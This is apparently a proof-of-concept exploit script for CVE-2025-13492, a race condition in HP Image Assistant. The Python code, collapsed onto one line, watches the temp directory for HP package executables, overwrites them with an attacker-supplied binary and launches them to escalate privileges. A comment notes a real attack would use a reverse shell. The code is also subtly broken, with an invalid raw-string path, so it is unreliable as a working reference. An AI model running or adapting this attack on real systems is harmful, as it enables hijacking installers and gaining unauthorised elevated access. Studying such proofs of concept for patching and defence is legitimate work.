CVE-2025-13492

# CVE-2025-13492 PoC - HP Image Assistant Race Condition Privilege Escalation # This PoC demonstrates the TOCTOU race condition in HP Image Assistant # Target: HP Image Assistant < 5.3.3 # Attack Vector: Local privilege escalation via race condition import os import time import threading import shutil TARGET_PATH = r"C:\Program Files\HP\HP Image Assistant\" MALICIOUS_EXE = "evil.exe" TEMP_DIR = os.environ.get('TEMP', 'C:\\Windows\\Temp') def create_malicious_exe(): """Create a malicious executable that will be injected""" malicious_path = os.path.join(TEMP_DIR, MALICIOUS_EXE) # In real attack, this would be a reverse shell or similar with open(malicious_path, 'wb') as f: f.write(b'MZ' + b'\x00' * 100) # Minimal PE header return malicious_path def race_condition_attack(): """ Exploit the TOCTOU race condition: 1. Monitor for HP Image Assistant package installation 2. Create symlink to redirect legitimate executable to malicious one 3. Execute during the vulnerable time window """ print("[*] Starting CVE-2025-13492 race condition attack...") print("[*] Target: HP Image Assistant < 5.3.3") malicious_exe = create_malicious_exe() attempts = 0 max_attempts = 100 while attempts < max_attempts: attempts += 1 print(f"[*] Attempt {attempts}/{max_attempts}") # Step 1: Monitor HP Image Assistant temp directories temp_dirs = [] for root, dirs, files in os.walk(TEMP_DIR): for f in files: if 'HP' in f or 'Image' in f or 'HPIA' in f: temp_dirs.append(os.path.join(root, f)) # Step 2: When vulnerable executable is detected, replace it for temp_file in temp_dirs: if temp_file.endswith('.exe') and 'package' in temp_file.lower(): try: # Race condition: Replace between check and use shutil.copy2(malicious_exe, temp_file) print(f"[+] Replaced {temp_file} with malicious executable") time.sleep(0.001) # Minimal delay for execution # Step 3: Trigger execution os.system(f'start "" "{temp_file}"') return True except Exception as e: print(f"[-] Failed: {e}") continue time.sleep(0.01) print("[-] Attack failed - could not exploit race condition") return False def cleanup(): """Clean up artifacts""" malicious_path = os.path.join(TEMP_DIR, MALICIOUS_EXE) if os.path.exists(malicious_path): os.remove(malicious_path) if __name__ == "__main__": print("CVE-2025-13492 PoC - HP Image Assistant Race Condition") print("=" * 60) success = race_condition_attack() cleanup() exit(0 if success else 1)

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